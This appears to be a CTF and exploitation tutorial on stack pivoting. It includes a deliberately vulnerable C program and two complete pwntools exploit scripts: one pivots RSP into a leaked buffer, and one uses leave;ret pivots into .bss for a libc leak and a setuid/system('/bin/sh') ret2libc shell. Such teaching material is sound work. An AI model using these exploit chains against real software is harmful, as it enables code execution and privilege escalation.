Stack Pivoting
Pivoting for more space, or freedom of payload
TLDR
Requirements
Somewhere to pivot to obviously (.bss, buffer on the stack)
Stack Pivoting Gadget - something that controls RSP
leave retpop rsp
What can you do with this?
Gain more space for your ROP chain/Shellcode 😄
// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}fgetscall means that there is a limited number of bytes we can overflow -> not enough for a rop chainwe also have a leak to start of buffer, but not enough to craft a full ROP chain
to pass in the right values to the
winfunction, we need to pass the values intordiandrsi
Using stack pivot, we format our payload with a
pop rsp..;retgadget which will change theripto the location we control (our buffer in this case), executing the rop chain stored in the buffer.
__ start of buffer, rsp
| ROP CHAIN |
| AAAAs | - padding to reach RIP
| _________ |
| rsp gadget|
| Buffer addr|from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())Example 2
void main(voids)
{
puts("###");
printf("### Welcome to %s!\n",(char *)*param_2);
puts("###");
putchar(10);
FUN_004010e0(stdin,(char *)0x0,2,0);
FUN_004010e0(stdout,(char *)0x0,2,1);
challenge();
puts("### Goodbye!");
return 0;
}
void challenge(void)
{
#Data points to 0x4040e0
read(0,data + 65536,4096);
memcpy(&stack0x00000000,data + 65536,0x18);
puts("Leaving!");
return;
}The binary reads in 4096 bytes into
.bssat0x4040e0, with the first 24 bytes (0x18) copied onto the stack viamemcpyThis gives us 3 gadgets worth of space to pivot to the address
0x4040e0We can use a
leave retgadget to pivot to this address
leave retgadget is essentially just this
mov rsp, rbp
pop rbpIf we have a
pop rbpgadget, we can essentially control where the binary returns to (address of.bss)This gives us ample space for our libc leak via
putsas well as our ret2libc payload
#!/usr/bin/env python3
from pwn import *
import time
exe = ELF("./redacted")
libc = ELF("./libc.so.6")
context.binary = exe
pop_rdi = 0x401663
ret = 0x40101a
def leak():
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
challenge = exe.symbols['challenge']
payload = b''
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret)
payload += p64(challenge)
return payload
def main():
#Leaking Libc base address via puts()
address_of_bss = 0x414080 + 24
leave_ret = 0x401545
pop_rbp = 0x4011bd
payload = b''
payload += p64(pop_rbp)
payload += p64(address_of_bss)
payload += p64(leave_ret)
payload += leak()
p = process('./babyrop_level9.1_patched')
p.clean() # Clean up any previous input/output
p.send(payload)
p.recvuntil('Leaving!')
p.recvline()
#Processing puts() leak to get libc base address
leaked_puts = p.recvline()
leaked_puts = u64(leaked_puts[:-1].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.sym['puts']
setuid_addr = libc.sym['setuid']
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info(f"Base Libc address: {hex(libc.address)}")
log.info(f"setuid address: {hex(setuid_addr)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# Attach debugger before sending payload
# gdb.attach(p)
print("Debugger attached. Sending payload...")
# Writing Ret2LIBC payload ahead of my first leak payload
address_of_bss = 0x414080 + 120
print(hex(address_of_bss))
final_rop = p64(pop_rbp)
final_rop += p64(address_of_bss)
final_rop += p64(leave_ret)
# Accounting for the first 3 gadgets
final_rop += b'A' * (104)
final_rop += p64(pop_rdi)
final_rop += p64(0)
final_rop += p64(setuid_addr)
final_rop += p64(ret)
final_rop += p64(pop_rdi)
final_rop += p64(bin_sh_addr)
final_rop += p64(system_addr)
p.clean()
p.send(final_rop)
p.recvuntil('Leaving!')
# Interact with the process
p.interactive()
if __name__ == "__main__":
main()Last updated